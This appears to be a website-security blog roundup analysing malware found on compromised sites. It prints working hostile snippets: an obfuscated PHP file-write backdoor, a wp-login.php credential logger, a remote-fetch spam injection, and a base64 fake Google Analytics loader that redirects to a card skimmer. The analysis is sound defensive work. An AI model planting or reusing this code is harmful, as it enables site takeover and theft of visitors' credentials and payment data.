Simple but effective backdoor

We recently found a malicious PHP file containing a small amount of code that is effective at hiding from detection by various server side scanning tools.

$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
@$b($_REQUEST['c'], @$a($_REQUEST['d']));

The two $a and $b variables contain the obfuscated PHP strings _file_getcontents and _file_putcontents as escaped hexadecimal values.

These two functions are combined with the _$REQUEST variable array, which allows the malicious user to submit data through their HTTP request to the file.

Deobfuscating the sample reveals the following code:

file_put_contents($_REQUEST['c']), file_get_contents($_REQUEST['d']));

These functions allow the attacker to exclude hard coded file names and content and change them at their leisure, making it more difficult to detect. The bad actor provides the desired content using the _file_putcontent($filename, $data) function during their HTTP request to the malicious file.

As you can see in the image, the HTTP parameters c and d provide the file name (shell.php) and define the download location (local or remote) for thee file name’s content.

In this example, I used shell.php for the c parameter and defined localhost/test.txt for the d parameter, which serves as the download location for _file_getcontents.The function _file_putcontents then inserts (and creates) file shell.php in the current directory.

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \

} // End of login_header()
$username_password=$_POST['log']."----xxxxx----".$_POST['pwd']."ip:".$_SERVER['REMOTE_ADDR'].$time = time()."\r\n";
$hellowp=fopen('./wp-content/uploads/2018/07/[redacted].jpg','a+');
$write=fwrite($hellowp,$username_password,$time);
/**

Code injection in wp-login.php

This snippet for a malicious login stealer demonstrates why file integrity monitoring can be very useful to detect small changes in legitimate website files — especially when malicious code is intended to be undetectable, like in the case of this login stealer.

The login stealer operates in the following manner: when a WordPress user submits their login information to the wp-login.php file, it stores the username in the request under the log parameter and the password under the pwd parameter.

Malicious code captures these credentials from the visitor’s HTTP POST request along with the IP address and current time, then formats the text a bit. Afterwards, it uses fopen to open (or create if it doesn’t exist and configuration allows) a .jpg file and store the captured information from the incoming POST request using the _fwrite _function.

This is a very simple, rudimentary login stealer: it ends up capturing every attempted login, regardless of whether it is successful or not.

When checking websites that have been infected with this injection, we can observe it writing unsuccessful bruteforce attempts to the fake .jpg file:

oardobrogea----xxxxx----www123ip:185.234.218.1041554390893
oardobrogea----xxxxx----web123ip:185.234.218.1041554390893
oardobrogea----xxxxx----123!@#ip:185.234.218.1041554390894
oardobrogea----xxxxx----!@#123ip:185.234.218.1041554390895
...

“Loader for Secured Files” and arrayed b374k shell...

This file (33x77.php) was detected in the document root of a website during a website cleanup for a client. It demonstrates how hackers sometimes use comments or other text within malicious code to confuse website owners and prevent detection and removal of malicious files.

In this case, the “Loader for Secured Files. Copyright 2001-2017. All rights reserved.” text is used in an attempt to add some authenticity to the file. Credibility indicators like copyright or trademark symbols can trick administrators into thinking the file is not malicious, preventing further investigation.

This file’s coding structure also looks unusual — the code uses the function preg_match to perform a regular expression search and assign a group (e.g [1]) to its matching text. The search is then performed on the content provided by the php_strip_whitespace(FILE), which removes comments and whitespaces before it assigns the $f variable — whatever preg_match matches with its regular expression search. The $f variable now contains a string of base64 encoded text, and is decoded into an array using json_decode and base64_decode.

The array of the decoded base64 text string ($f) is logically ordered based on the array values to allow for further code eval:

The additional layers of encoding contain a popular PHP shell named b374k. This shell performs numerous functions to the hosting environment and its website.

Spam Doorway Manager

While investigating a client’s compromised website, we saw a malicious file that was being used to manage an existing SEO spam doorway.

We usually refer to these types of files as doorway generators due to their uncanny ability to create new SEO spam pages/doors.

These files can be large, as they incorporate a lot of various features (e.g functions to check SERPs and update the spam accordingly). They are also often obfuscated using various encoding like base64, or use hexadecimal instead of ASCII characters, but this file was different:

./wp-admin/new_readme.php

It utilizes a less suspicious way to obscure the malicious code through an array, then uses a PHP function alias to make the suspicious code harder to detect.

This created function is responsible for fetching the new SEO spam content:

The send function enables the spammer to use send in the code whenever they wish to fetch new SEO spam

A few additionally created functions are then used for inserting the new spam into index.php or .htaccess files and modifying the file permissions:

These created functions are similar to the previous send example, except for different actions like inserting code using fpc instead of file_put_contents

Before these new functions are used, the new SEO spam’s location needs to be determined — this is accomplished using variables $a, $b, $c, and $d.

There is no hard coded URL or domain name. Instead, this is supplied in the HTTP request sent to the file by the spammer:

Note the usage of an array to define the $d variable and the $_REQUEST used to define $a

These variables and created functions are all combined to perform specific tasks based on HTTP parameters being met on the request, and sent by the spammer to the file:

This set of code in the file runs when used with an HTTP request containing an if parameter. It then fetches new data from the previously defined $a variable, using the methods in the previously created function send(e.g curl, file_get_contents).

The “缺失” text looks to be Chinese characters similar to a 404 “File not found” error page. As long as the fetched data doesn’t include that, it is inserted into the defined file (index.php) and printed to the output.

After sending this crafted HTTP request, an index.php file containing the content from our $a variable is created in the same ./spam/ directory

The created functions like send, rwx, fpc, and fgc can help evade detection by some scanning tools that only usestatic signature rules, as they may only be looking for the PHP functions file_put_contents, file_get_contents, chmod, etc.

The attacker also avoids using common obfuscation methods like eval(base64), which are easily detectable and suspicious. However, a file integrity monitor would detect the addition of SEO spam doorways — including this malicious file, as well.

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.

Backdoor plugin hides from view

One of the most important traits for backdoors is the ability to remain undetected by most users — otherwise it may draw suspicion and be deleted, revoking access for bad actors in the process.

In the past, we’ve posted about how malicious WordPress admin users can be hidden from the Users list inside the dashboard. Another similar technique is the practice of installing, activating, and hiding a malicious plugin within the WordPress dashboard to avoid detection by the website owner.

The active plugins count (1) that tells us there is a plugin existing, however the plugin itself isn’t displayed. This is a sign that something is not working correctly or is being manipulated

In this case, the malicious plugin file was found in ./wp-content/plugins/ciasic-editor/index.php. The file contained commenting at the top of the code that caused WordPress to believe it was actually the legitimate plugin “Classic Editor”.

This is another common technique used by hackers to trick website owners into thinking it’s just another benign plugin file. Once the plugin is activated, it disappears from the plugin listing page and stays hidden — the only obvious clue is that it’s included in the plugin count (which is why it shows a plugin count (1) in the image).

The code used to hide the malicious plugin from view in the WP dashboard, unless your browsing user-agent matches the very specific one they defined.

The hacker sends a GET request with a special parameter (e.g ?action=boobooboo), which is set to identify whether or not the malicious plugin has been activated:

After the malicious plugin’s active state has been confirmed, it can then be used to generate additional malicious files in the website’s document root using the curl and _file_putcontents functions.

These functions are placed within the init hook function, which is loaded for every WordPress page:

This allows the hacker to use the malicious PHP code by sending a POST request containing the necessary parameters (keysecret, url, and file_name) to WordPress pages on the website without having to specify the filename of the malicious plugin (e.g URL would not need /wp-content/plugins/ciasic-editor/index.php in it and could just send the POST request to your website's home page). The curl function will then download whatever is located at the provided URL, and _file_putcontents (obscured through the custom function wp_file_update_func125) will insert the downloaded content into a .php file in the website’s document root.

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about: